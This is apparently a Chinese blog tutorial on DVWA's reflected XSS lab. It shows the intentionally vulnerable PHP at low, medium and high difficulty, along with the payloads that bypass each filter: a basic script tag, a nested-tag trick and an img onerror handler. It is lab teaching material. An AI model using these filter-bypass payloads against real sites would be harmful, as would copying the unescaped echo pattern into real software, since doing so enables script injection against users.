zoukankan      html  css  js  c++  java
  • DWVA-关于反射型xss的漏洞详解<xss reflected>

    反射型xss

    low级别

    代码如下:

     1 <?php
     2 
     3 header ("X-XSS-Protection: 0");
     4 
     5 // Is there any input?
     6 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
     7     // Feedback for end user
     8     echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
     9 }
    10 
    11 ?> 

    从上图中可以看出来,对于接收到的输入参数,并未做任何处理,因此直接插入恶意代码

    <script>alert('hahaha')</script>

    效果如下:

    medium级别

    代码如下:

     1 <?php
     2 
     3 header ("X-XSS-Protection: 0");
     4 
     5 // Is there any input?
     6 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
     7     // Get input
     8     $name = str_replace( '<script>', '', $_GET[ 'name' ] );
     9 
    10     // Feedback for end user
    11     echo "<pre>Hello ${name}</pre>";
    12 }
    13 
    14 ?> 

    代码中可以看出,通过str_replace将<script>,替换为空。

    这种情况下可以使用拼写<script>的方法,输入如下参数:

    <scr<script>ipt>alert('lalala')</script>

    输入后前面的<scr<script>ipt>中将<script>替换为空后,有重新组合出一个<script>,达到注入目的。

    效果如下:

    成功注入。

    high级别

    代码如下:

     1 <?php
     2 
     3 header ("X-XSS-Protection: 0");
     4 
     5 // Is there any input?
     6 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
     7     // Get input
     8     $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
     9 
    10     // Feedback for end user
    11     echo "<pre>Hello ${name}</pre>";
    12 }
    13 
    14 ?> 

    high级别代码,使用正则表达式对输入参数进行搜索和替换,有效避免了组合绕过和大小写绕过。

    不过既然它仅仅是对于<script>进行过滤,我们可以使用其他表达式进行绕过、

    <img src=1 onerror=alert('hahah')>

    效果如下:

  • 相关阅读:
    艾伦 Visual Studio 批量自动化代码操作工具-VS插件发布
    Visual Studio 打开解决方案后 弹出框显示 "正在打开文件..." 迟迟没反应 的解决方法
    小米抢购神器-开放源码
    python语法
    python运算符
    python字符串
    python多线程,多进程编程。
    subprocess模块
    jenkins
    python中的lxml模块
  • 原文地址:https://www.cnblogs.com/Hpineapple/p/12193610.html
Copyright © 2011-2022 走看看